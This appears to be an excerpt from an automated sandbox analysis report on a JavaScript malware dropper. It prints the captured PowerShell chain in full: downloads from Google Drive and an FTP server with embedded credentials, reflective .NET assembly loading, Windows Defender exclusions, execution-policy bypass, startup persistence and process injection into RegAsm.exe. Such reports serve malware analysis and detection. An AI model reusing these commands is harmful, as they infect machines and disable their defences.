                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\catroot2Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\System32\AppxSip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\e9e64b91c0e4559f01e50ac43ffb9a2a\System.DirectoryServices.ni.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SYSTEM32\OpcServices.DLLJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\System32\wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\Jump to behavior
                  Source: powershell.exe, 00000014.00000002.2433630418.0000020EE6348000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg
                  Source: powershell.exe, 00000035.00000002.3345971531.000001D34AFA0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                  Source: powershell.exe, 0000001C.00000002.2824594158.000001E6F71DA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.3037917292.000001DE5562F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.3208980675.000001559E3A7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior

                  Anti Debugging

                  barindex
                  Uses powershell cmdlets to delay payload execution
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: page read and write | page guard

                  HIPS / PFW / Operating System Protection Evasion

                  barindex
                  Yara detected Powershell download and execute
                  Source: Yara matchFile source: amsi64_5764.amsi.csv, type: OTHER
                  Adds a directory exclusion to Windows Defender
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;Jump to behavior
                  Bypasses PowerShell execution policy
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
                  Encrypted powershell cmdline option found
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: Base64 decoded Q1|~y$T 7eMS
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: Base64 decoded Q1|~y$T 7eMSJump to behavior
                  Injects a PE file into a foreign processes
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
                  Writes to foreign memory regions
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40C000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40E000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BD4008
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40C000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40E000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: E68008
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40C000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40E000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: FC4008
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40C000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40E000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 102E008
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40C000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40E000
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1101008
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
